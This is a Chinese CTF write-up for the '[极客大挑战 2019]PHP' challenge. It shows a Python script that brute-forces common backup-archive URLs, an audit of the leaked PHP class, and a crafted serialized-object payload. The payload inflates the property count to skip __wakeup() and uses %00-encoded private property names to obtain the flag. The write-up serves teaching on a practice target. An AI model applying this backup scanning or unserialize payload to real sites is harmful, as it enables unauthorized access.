当前位置:   article > 正文

BUU CTF---[极客大挑战 2019]PHP 1

[极客大挑战 2019]php 1


知识点

1、PHP反序列化
2、绕过魔术方法 __wakeup()

一、备份网站

查看界面,提示备份网站。则搜索下载网站的备份文件。写一个程序遍历常见的备份文件网址,发现其中/www,zip的response为200

import requests

url = "url地址"

l1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
l2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in l1:
    for j in l2:
        print(i+" "+j)
        url_final = url + "/" + i + "." + j
        r = requests.get(url_final)
        print(r)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

下载后获得一个备份文件。
在这里插入图片描述

二、代码审计

1._wakeup()魔术方法

在反序列化之前调用该方法,一般这个时候变量会被强制改变,所以必须要绕过这个方法对变量的操作。
漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过。
class.php:

  function __wakeup(){
        $this->username = 'guest';
    }
  • 1
  • 2
  • 3

2.GET方法

审计index.php文件获得变量传输方法(初学初学)。首先include 'class.php’则会先把class.php文件加载入程序中,相当于直接复制进本代码。则后续GET到变量后会通过类创建一个对象。

<?php
    include 'class.php';
    $select = $_GET['select'];//这个地方表示会通过GET的方式获得传入值
    //值传入后通过class的类Name创建对象。
    $res=unserialize(@$select);
    ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

3.类代码

class Name{
//初始化变量的值
    private $username = 'nonono';
    private $password = 'yesyes';
//构造函数,在每一次new一个新对象前会调用这个方法,一个类里面智能有一个构造方法。在这里面表示new对象时把传入的参数赋值
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    //在序列化结束后就进行的操作
    function __wakeup(){
        $this->username = 'guest';
    }
//析构函数,在对象被销毁之前进行的一些操作。在本题中用于判断是否能够返回flag
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();   
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32

分析:这个对象必须要满足username=admin,password=100并且要能跳过_wakeup()才能输出flag。

4.构造对象

(1)O:6:“select”//传入对象的名字是select
(2):2 //传入的对象有两个,在如果要饶过,则需要让这个地方比真实对象多,所以改为3
(3){s:14:“username”;s:5:“admin”;s:14:“password”;i:100;}//本体
但是构造成:O:4:“Name”:3:{s:14:“username”;s:5:“admin”;s:14:“password”;i:100;}并不能获得正确的flag。这个时候助力类里面的对象的属性:
private变量会被序列化为:\x00类名\x00变量名
O:4:“Name”:2:{s:14:"\0Name\0username";s:5:“admin”;s:14:"\0Name\0password";i:100;}
构造输入:O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
protected变量会被序列化为:\x00*\x00变量名
O:4:“Name”:2:{s:11:"\0*\0username";s:5:“admin”;s:11:"\0*\0password";i:100;}
构造输入:O:4:“Name”:2:{s:11:"%00*%00username";s:5:“admin”;s:11:"%00*%00password";i:100;}
public变量会被序列化为:变量名
**

这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0
组合。知识用来表示而已,所以在真正构造的时候,使用url编码将这不可见字符构造成%00.

**
最后本题的构造为:select=O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
在这里插入图片描述

参考资料

1、include和require的区别
2、PHP中__destruct(),类的析构函数详解
3、php 魔术方法
4、[极客大挑战 2019]PHP

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/464267
推荐阅读
相关标签
  

闽ICP备14008679号